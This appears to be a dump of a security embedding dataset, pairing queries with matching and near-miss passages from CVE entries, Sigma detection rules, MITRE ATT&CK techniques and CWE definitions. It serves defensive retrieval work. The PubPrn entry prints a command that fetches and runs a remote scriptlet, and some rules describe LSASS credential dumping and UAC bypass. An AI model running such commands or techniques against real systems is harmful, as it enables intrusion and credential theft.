alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: vulnerability: Multiple cross-site scripting (XSS) vulnerabilities in Open Source Point of Sale 2.3.1 allow remote authenticated users to inject arbitrary web script or HTML via unspecified vecto
Matching passage: CVE-2015-0299. CWE: CWE-79. CVSS: 4.0. Multiple cross-site scripting (XSS) vulnerabilities in Open Source Point of Sale 2.3.1 allow remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-1385. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the Blubrry PowerPress Podcasting plugin before 6.0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cat parameter in a powerpress-editcategoryfeed action in the powerpressadmin_categoryfeeds.php page to wp-admin/admin.php.
Query: patch priority for CVE-2015-1443
Matching passage: CVE-2015-1443. CWE: CWE-20. CVSS: 8.800000190734863. The httpd package in fli4l before 3.10.1 and 4.0 before 2015-01-30 allows remote attackers to execute arbitrary code.
Near-miss passage: CVE-2015-5014. CWE: CWE-20. CVSS: 9.300000190734863. IBM Cognos Disclosure Management (CDM) 10.1.x and 10.2.x before 10.2.4 IF10 allows man-in-the-middle attackers to obtain access by spoofing an executable file during a client upload operation.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects suspicious Splwow64.exe process without any command line parameters. Logsource: windows / process_creation. Rule: title: Suspicious Splwow64 Without Params id: 1f1a8509-2cbb-44f5-8751-8e1571518ce2 status: test description: Detects suspicious Splwow64.exe process without any command line parameters references: - https://twitter.com/sbousseaden/status/1429401053229891590?s=12 author: Florian Roth (Nextron Systems) date: 2021-08-23 modified: 2022-12-25 tags: - attack.stealth - attack.t1202 logsource: category: process_creation product: windows detection: selection: Image|endswith: \splwow64.exe CommandLine|endswith: splwow64.exe condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attac. Logsource: windows / process_creation. Rule: title: HackTool - CreateMiniDump Execution id: 36d88494-1d43-4dc0-b3fa-35c8fea0ca9d status: test description: Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine references: - https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass author: Florian Roth (Nextron Systems) date: 2019-12-22 modified: 2024-11-23 tags: - attack.credential-access - attack.t1003.001 logsource: category: process_creation product: windows detection: selection: - Image|endswith: \CreateMiniDump.exe - Hashes|contains: IMPHASH=4a07f944a83e8a7c2525efa35dd30e2f condition: selection falsepositives: - Unknown level: high
Query: CVE similar to CVE-2015-1571
Matching passage: CVE-2015-1571. CWE: CWE-310. CVSS: 4.300000190734863. The CAPWAP DTLS protocol implementation in Fortinet FortiOS 5.0 Patch 7 build 4457 uses the same certificate and private key across different customers' installations, which makes it easier for man-in-the-middle attackers to spoof SSL servers by leveraging the Fortinet_Factory certificate and private key. NOTE: FG-IR-15-002 says "The Fortinet_Factory certificate is unique to each device ... An attacker cannot therefore stage a MitM attack.
Near-miss passage: CVE-2015-4458. CWE: CWE-310. CVSS: 4.300000190734863. The TLS implementation in the Cavium cryptographic-module firmware, as distributed with Cisco Adaptive Security Appliance (ASA) Software 9.1(5.21) and other products, does not verify the MAC field, which allows man-in-the-middle attackers to spoof TLS content by modifying packets, aka Bug ID CSCuu52976.
Query: describe CVE-2015-2783
Matching passage: CVE-2015-2783. CWE: CWE-119. CVSS: 5.800000190734863. ext/phar/phar.c in PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 allows remote attackers to obtain sensitive information from process memory or cause a denial of service (buffer over-read and application crash) via a crafted length value in conjunction with crafted serialized data in a phar archive, related to the phar_parse_metadata and phar_parse_pharfile functions.
Near-miss passage: CVE-2015-7109. CWE: CWE-119. CVSS: 9.300000190734863. IOAcceleratorFamily in Apple OS X before 10.11.2 and tvOS before 9.1 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects potentially suspicious child processes of "aspnet_compiler.exe".. Logsource: windows / process_creation. Rule: title: Suspicious Child Process of AspNetCompiler id: 9ccba514-7cb6-4c5c-b377-700758f2f120 related: - id: 4c7f49ee-2638-43bb-b85b-ce676c30b260 type: similar - id: 9f50fe98-fe5c-4a2d-86c7-fad7f63ed622 type: similar - id: a01b8329-5953-4f73-ae2d-aa01e1f35f00 type: similar status: test description: Detects potentially suspicious child processes of "aspnet_compiler.exe". references: - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/ - https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/ author: Nasreddine Bencherchali (Nextron Systems) date: 2023-08-14 tags: - attack.execution - attack.stealth - attack.t1127 logsource: category: process_creation product: windows detection: selection_parent: ParentImage|endswith: \aspnet_compiler.exe selection_child: - Image|endswith: - \calc.exe - \notepad.exe - Image|contains: - \Users\Public\ - \AppData\Local\Temp\ - \AppData\Local\Roaming\ - :\Temp\ - :\Windows\Temp\ - :\Windows\System32\Tasks\ - :\Windows\Tasks\ condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an c. Logsource: windows / security. Rule: title: Suspicious Windows ANONYMOUS LOGON Local Account Created id: 1bbf25b9-8038-4154-a50b-118f2a32be27 status: test description: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts. references: - https://twitter.com/SBousseaden/status/1189469425482829824 author: James Pemberton / @4A616D6573 date: 2019-10-31 modified: 2022-10-09 tags: - attack.persistence - attack.t1136.001 - attack.t1136.002 logsource: product: windows service: security detection: selection: EventID: 4720 SamAccountName|contains|all: - ANONYMOUS - LOGON condition: selection falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-3175
Matching passage: CVE-2015-3175. CWE: UNKNOWN. CVSS: 5.800000190734863. Multiple open redirect vulnerabilities in Moodle through 2.5.9, 2.6.x before 2.6.11, 2.7.x before 2.7.8, and 2.8.x before 2.8.6 allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via vectors involving an error page that links to a URL from an HTTP Referer header.
Near-miss passage: CVE-2015-8474. CWE: UNKNOWN. CVSS: 7.400000095367432. Open redirect vulnerability in the valid_back_url function in app/controllers/application_controller.rb in Redmine before 2.6.7, 3.0.x before 3.0.5, and 3.1.x before 3.1.1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a crafted back_url parameter, as demonstrated by "@attacker.com," a different vulnerability than CVE-2014-1985.
Query: Sigma YAML for windows / file_event
Matching passage: Sigma rule: Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply. Logsource: windows / file_event. Rule: title: Potential Persistence Via Microsoft Office Add-In id: 8e1cb247-6cf6-42fa-b440-3f27d57e9936 status: test description: Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel). references: - Internal Research - https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence - https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md author: NVISO date: 2020-05-11 modified: 2023-02-08 tags: - attack.persistence - attack.t1137.006 logsource: category: file_event product: windows detection: selection_wlldropped: TargetFilename|contains: \Microsoft\Word\Startup\ TargetFilename|endswith: .wll selection_xlldropped: TargetFilename|contains: \Microsoft\Excel\Startup\ TargetFilename|endswith: .xll selection_xladropped: TargetFilename|contains: Microsoft\Excel\XLSTART\ TargetFilename|endswith: .xlam selection_generic: TargetFilename|contains: \Microsoft\Addins\ TargetFilename|endswith: - .xlam - .xla - .ppam condition: 1 of selection_* falsepositives: - Legitimate add-ins level: high
Near-miss passage: Sigma rule: Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.. Logsource: azure / auditlogs. Rule: title: Certificate-Based Authentication Enabled id: c2496b41-16a9-4016-a776-b23f8910dc58 status: test description: Detects when certificate based authentication has been enabled in an Azure Active Directory tenant. references: - https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f - https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/ author: Harjot Shah Singh, '@cyb3rjy0t' date: 2024-03-26 tags: - attack.credential-access - attack.persistence - attack.privilege-escalation - attack.defense-impairment - attack.t1556 logsource: product: azure service: auditlogs detection: selection: OperationName: Authentication Methods Policy Update TargetResources.modifiedProperties|contains: AuthenticationMethodsPolicy condition: selection falsepositives: - Unknown level: medium
Query: mitigate Exclusive Control
Matching passage: T1668 Exclusive Control. Tactics: persistence. Description: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system(Citation: Mandiant-iab-control)(Citation: CERT AT Fortinent Ransomware 2025) to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services(Citation: sophos-multiple-attackers), stripping privileges from accounts(Citation: aquasec-postgres-processes), or removing other malware already on the compromised device.(Citation: fsecure-netsky) Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://attack.mitre.org/techniques/T1496), leveraging a compromised device’s full power allows the threat actor to maximize profit.(Citation: sophos-multiple-attackers)
Near-miss passage: T1053.007 Container Orchestration Job. Tactics: execution, persistence, privilege escalation. Description: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
Query: CWE for Use of Low-Level Functionality
Matching passage: CWE-695 Use of Low-Level Functionality. The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.
Near-miss passage: CWE-102 Struts: Duplicate Validation Forms. The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
Query: exploit The simple-share-buttons-adder plugin before 6.0.0 for WordPress has XSS.
Matching passage: CVE-2015-9303. CWE: CWE-79. CVSS: 6.099999904632568. The simple-share-buttons-adder plugin before 6.0.0 for WordPress has XSS.
Near-miss passage: CVE-2015-8795. CWE: CWE-79. CVSS: 6.099999904632568. Multiple cross-site scripting (XSS) vulnerabilities in the Admin UI in Apache Solr before 5.1 allow remote attackers to inject arbitrary web script or HTML via crafted fields that are mishandled during the rendering of the (1) Analysis page, related to webapp/web/js/scripts/analysis.js or (2) Schema-Browser page, related to webapp/web/js/scripts/schema-browser.js.
Query: patch priority for CVE-2015-8218
Matching passage: CVE-2015-8218. CWE: CWE-20. CVSS: 6.800000190734863. The decode_uncompressed function in libavcodec/faxcompr.c in FFmpeg before 2.8.2 does not validate uncompressed runs, which allows remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted CCITT FAX data.
Near-miss passage: CVE-2015-6824. CWE: CWE-20. CVSS: 7.5. The sws_init_context function in libswscale/utils.c in FFmpeg before 2.7.2 does not initialize certain pixbuf data structures, which allows remote attackers to cause a denial of service (segmentation violation) or possibly have unspecified other impact via crafted video data.
Query: exploit The wmem_block_split_free_chunk function in epan/wmem/wmem_allocator_block.c in the wmem block allocator in the memory manager in Wireshark 1.12.x before 1.12.7 does not properly c
Matching passage: CVE-2015-6242. CWE: CWE-20. CVSS: 4.300000190734863. The wmem_block_split_free_chunk function in epan/wmem/wmem_allocator_block.c in the wmem block allocator in the memory manager in Wireshark 1.12.x before 1.12.7 does not properly consider a certain case of multiple realloc operations that restore a memory chunk to its original size, which allows remote attackers to cause a denial of service (incorrect free operation and application crash) via a crafted packet.
Near-miss passage: CVE-2015-2463. CWE: CWE-20. CVSS: 9.300000190734863. Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, Office 2007 SP3 and 2010 SP2, Live Meeting 2007 Console, Lync 2010, Lync 2010 Attendee, Lync 2013 SP1, Lync Basic 2013 SP1, Silverlight before 5.1.40728, and .NET Framework 3.0 SP2, 3.5, 3.5.1, 4, 4.5, 4.5.1, 4.5.2, and 4.6 allow remote attackers to execute arbitrary code via a crafted TrueType font, aka "TrueType Font Parsing Vulnerability," a different vulnerability than CVE-2015-2464.
Query: detection rule: Detects the creation of a remote thread from a Powershell process in an uncommon target process
Matching passage: Sigma rule: Detects the creation of a remote thread from a Powershell process in an uncommon target process. Logsource: windows / create_remote_thread. Rule: title: Remote Thread Creation Via PowerShell In Uncommon Target id: 99b97608-3e21-4bfe-8217-2a127c396a0e related: - id: eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50 type: similar status: test description: Detects the creation of a remote thread from a Powershell process in an uncommon target process references: - https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html author: Florian Roth (Nextron Systems) date: 2018-06-25 modified: 2023-11-10 tags: - attack.execution - attack.stealth - attack.t1218.011 - attack.t1059.001 logsource: product: windows category: create_remote_thread detection: selection: SourceImage|endswith: - \powershell.exe - \pwsh.exe TargetImage|endswith: - \rundll32.exe - \regsvr32.exe condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe. Logsource: windows / image_load. Rule: title: Potential Goopdate.DLL Sideloading id: b6188d2f-b3c4-4d2c-a17d-9706e0851af0 status: test description: Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe references: - https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf author: X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) date: 2023-05-15 modified: 2025-10-07 tags: - attack.persistence - attack.privilege-escalation - attack.execution - attack.stealth - attack.t1574.001 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: \goopdate.dll filter_main_generic: ImageLoaded|startswith: - C:\Program Files (x86)\ - C:\Program Files\ filter_optional_dropbox_installer_temp: Image|contains|all: - \AppData\Local\Temp\GUM - .tmp\Dropbox ImageLoaded|contains|all: - \AppData\Local\Temp\GUM - .tmp\goopdate.dll filter_optional_googleupdate_temp: Image|contains: - \AppData\Local\Temp\GUM - :\Windows\SystemTemp\GUM Image|endswith: .tmp\GoogleUpdate.exe ImageLoaded|contains: - \AppData\Local\Temp\GUM - :\Windows\SystemTemp\GUM condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - False positives are expected from Google Chrome installations running from user locations (AppData) and other custom locations. Apply additional filters accordingly. - Other third party chromium browsers located in AppData level: medium
Query: CVE similar to CVE-2015-3270
Matching passage: CVE-2015-3270. CWE: CWE-264. CVSS: 6.5. Apache Ambari before 2.0.2 or 2.1.x before 2.1.1 allows remote authenticated users to gain administrative privileges via unspecified vectors, possibly related to changing passwords.
Near-miss passage: CVE-2015-5995. CWE: CWE-264. CVSS: 9.800000190734863. Mediabridge Medialink MWN-WAPR300N devices with firmware 5.07.50 and Tenda N3 Wireless N150 devices allow remote attackers to obtain administrative access via a certain admin substring in an HTTP Cookie header.
Query: patch priority for CVE-2015-0727
Matching passage: CVE-2015-0727. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the HTTP module in Cisco Security Manager (CSM) 4.7(0)SP1(1) allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka Bug ID CSCut27789.
Near-miss passage: CVE-2015-3626. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the DHCP Monitor page in the Web User Interface (WebUI) in Fortinet FortiOS before 5.2.4 on FortiGate devices allows remote attackers to inject arbitrary web script or HTML via a crafted hostname.
Query: how to detect PubPrn
Matching passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Near-miss passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Query: rule covering Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)
Matching passage: Sigma rule: Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23). Logsource: windows / process_creation. Rule: title: UAC Bypass Using PkgMgr and DISM id: a743ceba-c771-4d75-97eb-8a90f7f4844c status: test description: Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23) references: - https://github.com/hfiref0x/UACME author: Christian Burkard (Nextron Systems) date: 2021-08-23 modified: 2024-12-01 tags: - attack.privilege-escalation - attack.t1548.002 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \pkgmgr.exe Image|endswith: \dism.exe IntegrityLevel: - High - System - S-1-16-16384 - S-1-16-12288 condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. Thes. Logsource: windows / process_creation. Rule: title: Msxsl.EXE Execution id: 9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0 status: test description: 'Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/ author: Timur Zinniatullin, oscd.community date: 2019-10-21 modified: 2023-11-09 tags: - attack.stealth - attack.t1220 logsource: category: process_creation product: windows detection: selection: Image|endswith: \msxsl.exe condition: selection falsepositives: - Msxsl is not installed by default and is deprecated, so unlikely on most systems. level: medium